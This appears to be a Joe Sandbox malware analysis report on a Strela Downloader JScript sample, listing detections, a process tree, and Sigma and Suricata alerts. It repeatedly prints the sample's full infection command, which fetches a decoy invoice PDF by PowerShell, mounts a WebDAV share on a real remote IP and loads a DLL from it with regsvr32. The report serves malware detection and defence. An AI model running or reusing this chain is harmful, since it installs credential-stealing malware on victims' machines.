Edit tour

Windows Analysis Report
1584816627285206777.js

Overview

General Information

Sample name:	1584816627285206777.js
Analysis ID:	1587983
MD5:	1574093e263452d9a30b6496739b8d1a
SHA1:	b7c07cd044e402fb6ab70c744a6ebd13792223d5
SHA256:	5eac98ab9d7669d61630d261175baf5a2d1a97908f4d1a3ba3085934f245a8f1
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6552 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1584816627285206777.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5008 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6548 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5032 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6552 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

cmd.exe (PID: 5536 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 4508 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

AcroCEF.exe (PID: 7172 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7360 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1608,i,16955121455312485882,14025573363302125264,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

svchost.exe (PID: 7232 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6552	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5008, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5032, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5008, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5032, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1584816627285206777.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1584816627285206777.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1584816627285206777.js", ProcessId: 6552, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 4508, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1584816627285206777.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6552, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, ProcessId: 5008, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1584816627285206777.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6552, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, ProcessId: 5008, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1584816627285206777.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6552, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, ProcessId: 5008, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1584816627285206777.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6552, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, ProcessId: 5008, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1584816627285206777.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6552, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, ProcessId: 5008, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1584816627285206777.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1584816627285206777.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1584816627285206777.js", ProcessId: 6552, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5008, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5032, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5536, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4508, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7232, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5536, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4508, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1584816627285206777.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6552, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll, ProcessId: 5008, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:06:49.993742+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:06:47.208326+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1584816627285206777.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1584816627285206777.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:06:47 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

